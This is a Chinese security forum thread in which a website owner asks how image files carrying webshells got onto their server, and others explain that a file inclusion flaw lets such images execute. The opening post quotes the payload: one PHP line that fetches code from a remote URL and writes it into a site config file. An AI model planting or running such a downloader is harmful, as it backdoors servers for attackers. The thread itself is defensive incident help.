首页
社区
课程
招聘
问答 CTF 排行榜 知识库 工具下载 峰会 看雪商城 证书查询
  1. 社区
  2. 求助问答
    3. 发新帖
未解决 [求助]网址有图片马
发表于: 2020-7-10 21:15 2636

未解决 [求助]网址有图片马

wx_三五瓶 活跃值
2020-7-10 21:15
2636

c25K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6Q4x3X3g2E0N6$3!0$3L8K6q4Q4x3X3g2U0L8W2)9J5c8R3`.`. 账号密码 123 123

 

图片马内容
<?php file_put_contents('./Addons/Attachment/config.php',file_get_contents('94aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2Z5k6%4W2J5N6q4)9J5k6i4y4H3j5h3y4W2i4K6u0r3M7r3W2U0i4K6u0W2N6s2S2@1i4K6t1%4i4K6t1&6i4K6t1&6i4K6y4n7N6h3&6D9K9h3&6C8i4K6t1^5i4K6t1%4N6r3g2K6N6o6q4Q4x3X3g2H3K9s2m8Q4x3U0N6Q4x3U0W2Q4x3@1k6Q4x3U0k6Y4N6q4)9K6b7R3`.`.

 

由于我服务器搬家了，日志没有了，现在没办法查看日志，怎么能找出漏洞在哪，还有图片马不是需要找到解析漏洞才行吗，jpg他怎么直接执行？


[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

收藏
免费 ・0
支持
分享
最新回复 (9)
wx_三五瓶
雪    币： 10
活跃值： (557)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
2 楼

9d6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6Q4x3X3g2E0N6$3!0$3L8K6q4Q4x3X3g2U0L8W2)9J5c8W2)9J5c8W2m8#2j5X3I4A6j5#2)9J5c8Y4y4@1j5i4c8A6j5#2)9J5c8Y4g2W2k6r3W2@1L8%4u0Q4x3V1k6H3K9s2m8Q4x3V1k6#2M7r3I4G2j5h3c8Q4x3V1j5%4z5o6V1I4y4e0V1J5z5e0p5@1y4e0f1#2i4K6u0W2K9Y4m8Y4

1791592203212.JPG
23861591427140.JPG    这三个都是图片马一样的

最后于 2020-7-10 22:28 被wx_三五瓶编辑 ，原因：
2020-7-10 21:15
0
敏而好学
雪    币： 5514
活跃值： (2254)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
3 楼

图片马怎么实现的？

最后于 2020-7-10 21:24 被敏而好学编辑 ，原因：
2020-7-10 21:23
0
wx_三五瓶
雪    币： 10
活跃值： (557)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
4 楼
敏而好学 图片马怎么实现的？
图片不是需要解析漏洞才行吗
2020-7-10 21:27
0
敏而好学
雪    币： 5514
活跃值： (2254)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
5 楼
wx_三五瓶 图片不是需要解析漏洞才行吗
PHP能将图片改扩展名，并且运行吗？
2020-7-10 21:59
0
wx_三五瓶
雪    币： 10
活跃值： (557)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
6 楼
不清楚有解析漏洞啊
2020-7-10 22:13
0
Lauv
雪    币： 583
活跃值： (86)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
7 楼
文件包含就执行了
2020-7-11 16:22
0
wx_三五瓶
雪    币： 10
活跃值： (557)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
8 楼
Lauv 文件包含就执行了
什么文件包含？
2020-7-11 18:13
0
lishua
雪    币： 837
活跃值： (355)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
9 楼

他的意思应该是说，如果有文件包含漏洞，可以包含这个1791592203212.JPG这个图片，那么不管被包含的文件后缀名是什么，文件中的内容都会被执行。

所以说应该是建议楼主查一查有没有文件包含漏洞。

另外，楼主的日志没了，这个比较难搞了。。


最后于 2020-9-25 16:07 被lishua编辑 ，原因：
2020-9-25 15:56
1
mb_fqdqyhnn
雪    币： 0
能力值： ( LV1，RANK：0 )
在线值：
发帖
回帖
粉丝
私信
10 楼
有没有人会做网站
2020-9-25 19:14
0
游客
登录 | 注册 方可回帖
回帖 表情 雪币赚取及消费
高级回复
返回